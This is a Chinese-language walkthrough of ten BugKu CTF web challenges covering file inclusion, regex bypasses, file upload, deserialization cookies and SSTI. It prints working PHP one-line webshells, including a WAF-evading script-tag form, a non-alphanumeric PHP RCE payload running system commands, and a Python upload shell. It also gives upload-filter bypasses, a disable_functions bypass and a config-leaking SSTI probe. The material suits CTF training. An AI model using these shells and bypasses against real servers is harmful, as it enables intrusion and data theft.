BugKuCTF-WEB超详细解题思路(41-50)

本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。

目录

文件包含2

ezbypass

[No one knows regex better than me](#No one knows regex better than me)

字符?正则?

Flask_FileUpload

xxx二手交易市场

文件上传

getshell

点login咋没反应

Simple_SSTI_1


文件包含2

进入靶场发现这个界面

查看源代码,发现这个php文件

访问一下,发现是一个文件上传的页面。

测试其他类型的文件是否能上传,测试了txt和php后缀的,结果都显示upload failed。

说让我们搞个图片上传

先上传绕过文件,上传抓包

bp改包,然后放包

用bp抓包上传木马文件

把抓到的包的红圈地方改为允许上传的类型

上传成功

连接蚁剑发现一直数据为空

后来发现<?php 和 ?> 被屏蔽。

重新写一句话木马,避开被屏蔽的字段。

把<?php用 <script language=php 代替,

<script language=php>eval($_POST'cmd');</script>

bp抓包再改一下

ok,上传成功

蚁剑连接成功

复制代码
http://160.202.254.160:15514/index.php?file=upload/202606251259081302.png

找到flag文件

得到flag

坑 1:使用标准的一句话木马被 WAF 拦截

  • 查到了原因:<?php?> 被后端防火墙(WAF)屏蔽了。

  • 你的破局: 换成 PHP 的替代写法 <script language="php">eval($_POST['cmd']);</script>。这个写法在很多 CTF 题里都能完美绕过黑名单。

坑 2:误以为这是"图片解析漏洞"

  • 之前一直想直接访问 .png 的文件,希望服务器会把它当 PHP 执行(或者尝试用 .htaccess 强制解析)。

  • 真相: 这道题根本没有解析漏洞 。服务器就是一个普通的 Web 服务器,看到 .png 只会把它当成图片返回。所以蚁剑直接连 .png 的地址时,收到的是图片的乱码二进制,自然就报"数据为空"。

坑 3:蚁剑的 URL 连错了地方(最致命的坑)

  • 蚁剑配置,最后指向的 URL 是:http://.../index.php?file=upload/xxx.png

  • 真相: 这道题的真正考点是文件包含漏洞(LFI) 。你之前蚁剑填的 URL 是 upload/xxx.png,那是死路。正确的思路是,利用 index.php?file= 参数去包含上传的木马图片。一旦被包含,里面的 PHP 代码就会被触发执行。

ezbypass

题目信息

进入靶场看见一串php代码

一、代码审计与限制分析

题目给出了一段 PHP 代码,核心逻辑如下:

复制代码
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['code'])) {
    $code = $_POST['code'];
    if (strlen($code) <= 105){
        if (is_string($code)) {
            if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)){
                eval($code);
            } else {
                echo "Hacked!";
            }
        } else {
            echo "You need to pass in a string";
        }
    } else {
            echo "long?";
    }
}

限制条件总结:

  1. strlen($code) <= 105:长度限制极短,极大限制了 Payload 的编写。

  2. is_string($code):禁止了常见的数组绕过正则技巧。

  3. !preg_match(...):过滤极其严格,正则黑名单几乎涵盖了所有大小写字母、数字以及大量特殊符号。

面对强力的 WAF,我们只能使用严格限制下的极少数字符来通过 eval() 实现 RCE。


二、探索可用字符

针对黑名单过滤,常规思路是抓包测试被允许保留的字符。

问题卡点: 在本地编写脚本跑 chr($i) 遍历时发现没有直接回显数据,这说明正则确实过滤极严。 实际结论: 经过排查测试,最终发现未被过滤的字符仅有 $_+.;, 这几种。这些字符极度受限,但也足以支撑起这道题的"神仙 Payload"。


三、核心攻击手法:PHP 自增特性构造字符串

既然不能直接写字母,我们可以利用 PHP 字符串的自增特性(递增/递减运算符) 动态构造出我们需要的关键字。

在 PHP 中,如果对一个纯字母的字符串执行 ++ 操作,它会像 Excel 表格的列号一样进位递增(如 a -> bz -> aa)。

逐步拆解构造 POST 字符串的代码逻辑:

复制代码
$_=(_/_._)[_]; // 利用 PHP 的除法运算和数组取下标,巧取字符 'N'
// 原理说明:'_' 与 '_' 相除,PHP 会把字符串转为 0,0/0 会抛出一个 Warning 并返回浮点数 NAN。
// `_/_._` 计算结果为 NAN,(NAN)[_] 在 PHP 7 中会取字符串 "NAN" 的下标 0,即字符 'N'。
$_++;       // 'N'++ 变为 'O'
$__=$_.$_++;   // 'O' . 'P',得到 'OP'
$_++;         // 'Q'
$_++;         // 'R'
$_++;         // 'S'
$__=$__.$_;  // 'OP' . 'S',得到 'OPS'
$_++;        // 'T'
$__=$__.$_;  // 'OPS' . 'T',成功构造出字符串 "POST"
$_=_.$__;    // 在字符串前加个下划线,得到 "_POST"
// 此时,变量 $_ 的值已经是字符串 "_POST"

四、构造最终 Payload 实现 RCE(命令执行)

有了 _POST 变量后,我们需要通过动态变量执行系统命令。

最终 Payload 及传参方式:

复制代码
$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$__=$__.$_;$_++;$__=$__.$_;$_=_.$__;$$_[_]($$_[__]);

前面那串代码执行完后:

  • $_ 的值是字符串 "_POST"

  • $$_[_] 等价于 $_POST[_]

  • $$_[__] 等价于 $_POST[__]

最后执行的语句是 $_POST[_]($_POST[__]);,这就是一个标准的 动态函数调用

GET/POST 组合触发 Payload: 在靶场提交时,必须通过 POST 传递 code 参数,同时携带其余参数触发执行:

复制代码
# POST 请求主体:
code=$_=(_/_._)[_];$_++;$__=$_.$_++;$_++;$_++;$_++;$__=$__.$_;$_++;$__=$__.$_;$_=_.$__;$$_[_]($$_[__]);&_=system&__=ls /

解析:

  • $_POST[_] 接收到了 system

  • $_POST[__] 接收到了 ls /

  • 最终执行 system("ls /");


五、避坑指南与实验建议

  1. PHP 版本兼容性坑: 在本地测试时,PHP 5.3 / 5.4 环境下自增字符串会报错 ,建议调试环境使用 PHP 7.0 或更高版本

  2. 参数传参坑: 代码中的最终一句 $$_[_]($$_[__]); 必须依赖外部 POST/GET 传参。如果只发 code 而不传 ___,PHP 会报错甚至抛出致命错误。


六、靶场实战验证

在 Bugku 靶场环境中直接测试,通过浏览器或 Burp Suite 发送构造好的 Payload。成功执行后,在根目录下即可看到 flag 文件。

复制代码
# 查看根目录并读取 flag
&_=system&__=ls /
# 将 ls / 换成 cat /flag
&_=system&__=cat /flag

拿到 Flag,完美通关!这道题极大地考察了对 PHP 底层特性的理解以及面对极端 WAF 限制时的代码构造能力

No one knows regex better than me

题目信息

一、题目源码

进入靶场后,首先获得了一段 PHP 代码,核心逻辑如下:

复制代码
<?php 
error_reporting(0);
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){
    $key=$second;
    if(preg_match("/\.\.|flag/",$key)){
        die("Noooood hacker!");
    }else{
        $third=$first;
        if(preg_match("/\\|\056\160\150\x70/i",$third)){
            $end=substr($third,5);
            highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
        }
    }
}
else{
    highlight_file(__FILE__);
}
?>

二、代码逻辑分析

这道题考察的是PHP 正则绕过与路径拼接 ,我们需要分步绕过三处正则校验,最终通过 highlight_file() 读取敏感文件。

1. 第一步:触发第一层 preg_match_all 校验

  • $second = $zero . $first

  • 正则规则:/Yeedo|wants|a|girl|friend|or|a|flag/i

  • 绕行思路 :只要 $second 中包含 a(或者 girl 等),就能触发内部逻辑。因此我们可以随意在参数中塞入一个小写字母 a 即可过关。

2. 第二步:绕过黑名单校验

  • 进入内层后,会对 $key = $second 进行检验:preg_match("/\.\.|flag/",$key)

  • 绕行思路 :这里拦截了 ..(路径穿越)以及明文 flag。只要我们构造的字符串中不出现这两个特征即可安全跳过。

3. 第三步:触发最终函数

  • preg_match("/\\|\056\160\150\x70/i", $third)

  • 正则解析 :这个正则匹配的是竖线 |\\|)、. (八进制 \056)、字母 p (八进制 \160 和十六进制 \x70)、字母 h (八进制 \150)。

  • 意味着 $first(即 $third)中必须含有 |.ph 中的至少一个字符。

4. 第四步:文件路径拼接读取

  • $end = substr($third, 5);

  • highlight_file(base64_decode($zero) . $end);

  • 目标base64_decode($zero) 解码后必须为 flag,截取后的 $end 必须是 .php,才能拼成 flag.php


三、漏洞利用与 Payload 构造

经过逻辑推演,我们对参数 zerofirst 的构造也就非常清晰了:

  1. 参数 zero

    • flag 进行 Base64 编码:ZmxhZw==

    • 后端解码后得到 flag

  2. 参数 first

    • 必须包含字符 a(过第一层正则),且包含 |.(过第三层正则)。

    • 同时,为了保证 substr($first, 5) 截取后得到 .php,我们需要精心计算长度。

    • 构造abcd|.php(长度 9 个字符,从索引 5 开始截取,正好是 .php)。

  3. 最终测试 Payload:

复制代码
?zero=ZmxhZw==&first=abcd|.php

Payload 生效推演:

  • $second = "ZmxhZw==abcd|.php"(成功匹配第一关正则中的 a)。

  • $second 中不包含 ..flag(顺利通过第二关)。

  • $third = "abcd|.php"(包含 |,顺利通过第三关)。

  • $end = substr("abcd|.php", 5) = ".php"

  • highlight_file("flag" . ".php")highlight_file("flag.php")


四、获取 Flag

发送上述构造的 Payload 后,服务端会直接高亮显示 flag.php 的源码,其中包含明文 Flag:

复制代码
flag{ec12ed819ed5252fb9ad067c4e50a234}

字符?正则?

题目信息

一、题目核心代码

进入靶场后,查看源代码,题目核心逻辑如下:

复制代码
<?php
highlight_file('2.php');
$key='KEY{***********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ) {
    die('key is: ' . $key);
}
?>

题目目标 :根据给出的正则规则,构造能够成功匹配的字符串,并通过 GET 方式传参给 id,触发 die() 输出 $key 完成挑战。


二、正则表达式规则精准剖析

这段正则表达式是:/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i

注: 末尾的 i 是正则修饰符,表示忽略大小写

各部分含义精准拆解如下:

  1. / ... /:正则表达式的起始和结束定界符。

  2. key:匹配字面量字符串 key

  3. .*修正原文描述. 代表匹配除换行符之外的任意单个字符 (而非原文所说的数字),* 表示前面的字符可以出现 0 次到多次。

  4. key:再次匹配字面量字符串 key

  5. .{4,7}:匹配任意字符 4 到 7 次。

  6. key::匹配字面量字符 key:

  7. \/修正原文描述 ,反斜杠 \ 在正则中用作转义字符,\/ 表示匹配字面量的正斜杠 /

  8. .:匹配一个任意字符。

  9. \/:再次匹配一个字面量的正斜杠 /

  10. (.*key):括号代表捕获组.*key 表示匹配任意字符后紧跟的最后一个 key 字符串。

  11. [a-z]:匹配任意一个小写英文字母。

  12. [[:punct:]]:匹配任意一个标点符号(如 ,, ., ! 等)。


三、构造合理的 Payload(实战推导)

我们需要构造 id 参数的值,使其完全满足上述正则结构。以 key666key66666key:/6/666keyx, 为例进行代入验证:

  • keykey (开头)

  • .\*666 (匹配了 3 个任意字符)

  • keykey (中间连接)

  • .{4,7}66666 (这里用了 5 个字符 6,符合 4-7 次的规则)

  • key:key: (固定字符)

  • \// (斜杠)

  • .6 (任意一个字符)

  • \// (斜杠)

  • (.\*key)666key (任意字符后接 key)

  • [a-z]x (小写字母)

  • [[:punct:]], (标点符号)

完美命中! 字符串 key666key66666key:/6/666keyx, 完全满足所有正则匹配规则。


四、最终提交与获取 Flag

既然已经构造出符合规则的字符串,直接通过 GET 方式提交给服务器:

复制代码
?id=key666key66666key:/6/666keyx,

完整请求 URL 示例http://靶机地址/?id=key666key66666key:/6/666keyx,

提交后,正则匹配成功,PHP 执行 die('key is: ' . $key);,即可返回最终的 Flag。

Flask_FileUpload

题目信息

打开靶场是个文件上传

直接上传图片木马试一试

上传成功

蚁剑连接不上,显示路径错误,让我去哪找路径去啊

查看源码报错信息:

SyntaxError: Non-UTF-8 code starting with '\x89' in file /app/upload/mm_shell.png

这说明两个关键问题:

  1. 后端是 Python 环境,不是 PHP! (Png图片的文件头第一个字节是 \x89,Python 把它当 Python 语法解析时,撞到了非法字符,直接报错崩溃了)。

  2. 上传路径就是 /app/upload/mm_shell.png,出题人完全没有修改你的文件名和后缀。

既然这是一个 Python 环境,我们不需要蚁剑,也不用花里胡哨的图片马 ,直接传一个可以执行命令的 Python 脚本(.py,后端读取并解析它时,就会直接把 Flag 打印在网页上。

第一步:制作 Python 木马 在你的电脑上新建一个空文本文件,命名为 mm_shell.py,在里面输入以下代码并保存:

复制代码
import os
​
os.system("ls /")

第二步:改文件后缀名

把mm_shell.py的py改为png

第三步:看回显,查看文件

找到flag,改一下代码cat一下

跟上个步骤一样,得到flag!

xxx二手交易市场

题目信息

进入靶场发现是个交易页面

提示没有账号不能购买物品 那我们先注册登录

然后进入属于自己的用户信息资料页

在这里存在一个上传点 用户的头像 交互时的漏洞

然后我们进行正常的上传 burpsuite抓包

原本我们上传的为png后缀图片 然后服务器 返回的缺失jpeg后缀 请求包中又为jpeg 值

说明可能这里是控制后缀的 那我们修改请求的数据包 jpeg-->php

上传成功

然后修改请求体中的内容 仔细观察 它的数据是使用base64 加密过的 所以我们上传的木马也要使用base64加密

编译后上传

然后用蚁剑连接

找到flag文件

找到flag

文件上传

题目信息

打开靶场,文件上传

打开bp,并上传一个一句话木马上去(后缀名为png)

复制代码
<?php
@eval($_POST['cmd']);
echo 'success';
?>

修改将"multipart"修改为"Multipart"并将文件后缀修改为php4

此时发送,就可以成功上传一句话木马,根据返回的路径打开蚁剑并连接

连接成功

找到flag文件

得到flag!

getshell

题目信息

进入靶场,一大串非常乱的编码

解密后;

显然我们可以蚁剑连接了,但是我们得绕过,disable_function函数

密码:ymlisisisiook

连接成功

选择插件

选择模式

再连接新生成的绕过木马

密码还是和连接第一次的密码一样

复制代码
ymlisisisiook
复制代码
http://114.67.175.224:11019/.antproxy.php

成功拿到flag

点login咋没反应

题目信息

进入靶场,看到点提示

复制代码
try ?12713

拿到一个php代码

复制代码
<?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['12713'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?>
<html>
​
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
​
<body>
<br>
​
<div class="container" align="center">
  <form method="POST" action="#">
    <p><input name="user" type="text" placeholder="Username"></p>
    <p><input name="password" type="password" placeholder="Password"></p>
    <p><input value="Login" type="button"/></p>
  </form>
</div>
​
</body>
</html>
​
<?php
}
?>

在 PHP 中,把 字符串 ctf.bugku.com 进行序列化,得到的序列化结果是:

复制代码
s:14:"ctf.bugku.com";

unserialize() 解析这段内容时,会还原成一个 PHP 字符串 "ctf.bugku.com"。 因为字符串的类型和值完全相等,所以 "ctf.bugku.com" === "ctf.bugku.com" 成立,成功触发输出 $flag

只需要把 BUGKU 这个 Cookie 的值设置为上面那段序列化字符串的 URL 编码 即可。

原始 Cookie 值:

复制代码
s:14:"ctf.bugku.com";

经过 URL 编码后的最终 Payload(填入 Cookie):

复制代码
s%3A14%3A%22ctf.bugku.com%22%3B

方法 1:使用 Burp Suite(最稳妥)

  1. 打开 Burp Suite 抓包。

  2. 抓到 GET / 请求后,发送到 Repeater

  3. 在请求头的 Cookie: 字段中,把原来的值替换成:

    复制代码
    Cookie: BUGKU=s%3A13%3A%22ctf.bugku.com%22%3B
  4. 点击 Send ,右侧 Response 里直接就会返回包含 flag{...} 的页面。

方法 2:使用浏览器控制台(最快)

  1. 打开靶机页面,按下 F12 打开开发者工具,切换到 Console(控制台)

  2. 粘贴下面这行代码并回车:

    复制代码
    document.cookie = "BUGKU=s%3A13%3A%22ctf.bugku.com%22%3B";
  3. 直接在浏览器刷新当前页面。

  4. 页面中间就会直接显示出 Flag!

Simple_SSTI_1

题目信息

打开靶场

提示需要传入一个名为flag的参数,题目又叫SSTI,从而得到了可以使用模板注入的基本条件

复制代码
了解Jinjan2 基础语法
​
Jinja2模版语言,是不区分缩进的,和纯python不同。实际上所有模版语言都不区分缩紧。
​
常用标记:
​
注释:`{# 这是注释 #}`
变量:`{{ post.title }}`,或字典元素`{{your_dict['key']}}`,或列表`{{your_list[0]}}`
多行代码块:`{% 开始 %} HTML标签 {% 结束 %}`
​
示例:
​
{% if user %}
    {{ user }}
{% else %}
    hello!
    {% for index in indexs %}
        {{ index }}
{% endfor %}

在 SSTI 漏洞利用中,常见模板引擎的定界符主要有三种:

  1. {% ... %}:用于执行逻辑语句(如循环、条件判断)。

  2. {``{ ... }}:用于输出表达式的结果或变量。

  3. {# ... #}:用于注释,其内容不会被模板引擎渲染。

在 CTF 实战中,绝大多数题目利用的都是第二种 {``{ ... }} 形式。由于本题已经明确提示了存在 SSTI,因此我们可以省去前期的引擎类型探测步骤,直接进入漏洞验证阶段。

常用的基础探测 Payload 为 {``{2\*3}} 。提交后,如果页面成功回显结果为 6,则说明模板引擎成功执行了内部的数学运算,SSTI 漏洞确定存在。接下来即可继续利用 Python 的内置对象和魔术方法,构造读取文件或执行系统命令的链式 Payload 来获取 Flag。

"在 Flask 模板中,config 同样是一个极具利用价值的全局对象。它包含了当前应用程序运行时的所有配置项(如 SECRET_KEY、数据库连接信息等)。因此,在进行 SSTI(服务端模板注入)探测时,我们可以直接通过 {``{ config }} 查看整个配置字典,或者通过 {``{ config.xxx }} 提取特定的属性值。在实战中,这往往是快速获取敏感信息、寻找突破口的捷径。"

得到flag!